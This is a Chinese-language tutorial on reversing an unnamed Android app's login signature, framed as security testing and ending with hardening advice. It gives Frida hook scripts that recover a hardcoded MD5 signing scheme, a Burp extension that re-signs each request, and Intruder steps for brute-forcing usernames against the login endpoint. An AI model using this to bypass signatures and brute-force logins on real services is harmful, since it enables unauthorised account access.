登录接口codeSign值签名逆向绕过至自动加密脚本更新
字数 1798 2025-12-05 12:12:38
登录接口codeSign值签名逆向分析与自动化加密脚本实现
前言
本教学文档详细分析某APK登录接口的codeSign签名校验机制,通过逆向工程和Hook技术揭示其加密逻辑,并实现自动化加密脚本以绕过签名验证进行安全测试。
抓包分析
初始发现
- 使用抓包工具(如小黄鸟)捕获登录请求
- 请求体为明文传输,仅密码经过Base64编码
- 关键请求头字段:
codeSign、nonce、timestamp - 修改username参数会触发"签名错误"提示,说明存在签名绑定机制
签名参数确定
通过参数增删测试,确认签名校验涉及:
- 请求头参数:
codeSign、nonce、timestamp - 请求体数据:完整JSON内容
应用安全检测
查壳处理
使用查壳工具检测发现APK未加壳,可直接进行反编译分析。
逆向工程分析
反编译工具
使用JADX进行APK反编译,通过以下关键字定位关键代码:
- URI路径:
/user/login - 请求参数:
username、password - 请求头字段:
codeSign、nonce、timestamp - 加密函数关键字:
encrypt、decrypt
关键代码定位
搜索codeSign字段找到核心函数buildHeaders,该函数负责生成签名相关请求头。
codeSign签名机制深度分析
签名生成函数
codeSign = n0.c(strReplaceAll, str3, jCurrentTimeMillis)
参数分解
strReplaceAll(随机值)
String strReplaceAll = UUID.randomUUID().toString().replaceAll("-", "");
- 生成标准UUID并移除连字符
- 示例:
f47ac10b-58cc-4372-a567-0e02b2c3d479→f47ac10b58cc4372a5670e02b2c3d479
str3(请求体数据)
- 包含完整的JSON请求内容
- 如:
{"username":"test","password":"MTIzNDU2"}
jCurrentTimeMillis(时间戳)
- 系统当前时间戳
- 同时添加到请求头的
timestamp字段
Hook分析验证
Hook脚本1:参数捕获
Java.perform(function() {
var targetClass = "com.xxx.xxx.n0";
var methodName = "c";
var targetClassMethod = Java.use(targetClass);
targetClassMethod[methodName].overload('java.lang.String', 'java.lang.String', 'long').implementation = function(str, str2, j10) {
console.log("[+] n0.c called");
console.log("str: " + str);
console.log("str2: " + str2);
console.log("j10: " + j10);
var result = this[methodName](str, str2, j10);
console.log("result: " + result);
return result;
};
});
执行结果确认:
str:随机UUID(无连字符)str2:请求体JSON数据j10:时间戳
n0.c函数内部逻辑
public static String c(String str, String str2, long j10) {
String strG = g(); // 获取固定密钥
return s9.c.c(str2 + str + strG + j10).toUpperCase();
}
g()函数分析
通过Hook发现返回固定值(以"50"开头),为硬编码密钥。
最终加密处理
s9.c.c函数
public static String c(String str) {
return b(MessageDigest.getInstance("MD5").digest(str.getBytes()));
}
加密流程:
- 拼接字符串:
请求体 + UUID + 固定密钥 + 时间戳 - MD5哈希计算
- 转换为大写十六进制
完整Hook验证
Hook脚本3:完整流程监控
Java.perform(function() {
// Hook字符串拼接过程
var stringBuilderClass = Java.use("java.lang.StringBuilder");
stringBuilderClass.toString.implementation = function() {
var result = this.toString();
if (result.contains("username")) {
console.log("[+] String拼接结果: " + result);
}
return result;
};
// Hook MD5加密
var messageDigestClass = Java.use("java.security.MessageDigest");
messageDigestClass.digest.overload('[B').implementation = function(bytes) {
var result = this.digest(bytes);
console.log("[+] MD5摘要长度: " + result.length);
return result;
};
});
验证结果
成功获取完整签名生成流程,与抓包数据完全匹配。
自动化加密脚本实现
Burp扩展脚本
from burp import IBurpExtender, IHttpListener
import hashlib
import uuid
import time
import json
class BurpExtender(IBurpExtender, IHttpListener):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("CodeSign Auto Signer")
callbacks.registerHttpListener(self)
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
if not messageIsRequest:
return
httpService = messageInfo.getHttpService()
request = messageInfo.getRequest()
requestInfo = self._helpers.analyzeRequest(request)
# 仅处理登录接口
if "/user/login" not in requestInfo.getUrl().getPath():
return
# 获取请求体
body = request[requestInfo.getBodyOffset():].tostring()
# 生成签名参数
nonce = str(uuid.uuid4()).replace("-", "")
timestamp = str(int(time.time() * 1000))
fixed_secret = "50xxxxxxxx" # 实际分析获得的固定值
# 构建签名字符串
sign_string = body + nonce + fixed_secret + timestamp
codeSign = hashlib.md5(sign_string.encode()).hexdigest().upper()
# 更新请求头
headers = list(requestInfo.getHeaders())
new_headers = []
for header in headers:
if header.startswith("nonce:"):
new_headers.append("nonce: " + nonce)
elif header.startswith("timestamp:"):
new_headers.append("timestamp: " + timestamp)
elif header.startswith("codeSign:"):
new_headers.append("codeSign: " + codeSign)
else:
new_headers.append(header)
# 构建新请求
new_request = self._helpers.buildHttpMessage(new_headers, body)
messageInfo.setRequest(new_request)
脚本部署要点
- Burp加载:通过Extender标签页加载Python脚本
- 错误处理:根据实际分析结果调整固定密钥值
- 调试模式:开启控制台输出验证签名生成过程
爆破测试实施
配置步骤
- 定位登录接口:在Proxy history中找到登录请求
- 发送到Intruder:右键选择"Send to Intruder"
- 设置攻击位置:
- 清除默认标记
- 标记username和password字段
- 配置Payloads:
- username:字典文件或自定义列表
- password:固定值"MTIzNDU2"(123456的Base64编码)
签名验证绕过
脚本自动为每个请求:
- 生成新的nonce(UUID)
- 更新timestamp(当前时间)
- 重新计算codeSign(基于新参数和请求体)
- 替换请求头对应字段
技术总结
安全机制分析
- 签名绑定:请求体+随机数+密钥+时间戳的多因素绑定
- 动态参数:nonce防止重放攻击
- 时间校验:timestamp防止过期请求
逆向技术要点
- 代码定位:通过特征字符串快速定位关键函数
- Hook技术:动态分析运行时参数传递
- 加密分析:识别算法类型和密钥管理方式
防护建议
针对此类签名机制,建议增强:
- 代码混淆:增加逆向分析难度
- 动态密钥:避免硬编码固定值
- 环境检测:防止Hook工具注入
- 双向认证:结合客户端证书等更强验证
扩展应用
本技术方案可应用于:
- 安全测试:自动化接口安全审计
- 协议分析:第三方接口集成分析
- 移动安全:APP安全检测标准流程
通过本教学文档的完整流程,可系统掌握移动应用接口签名机制的分析方法和自动化测试技术。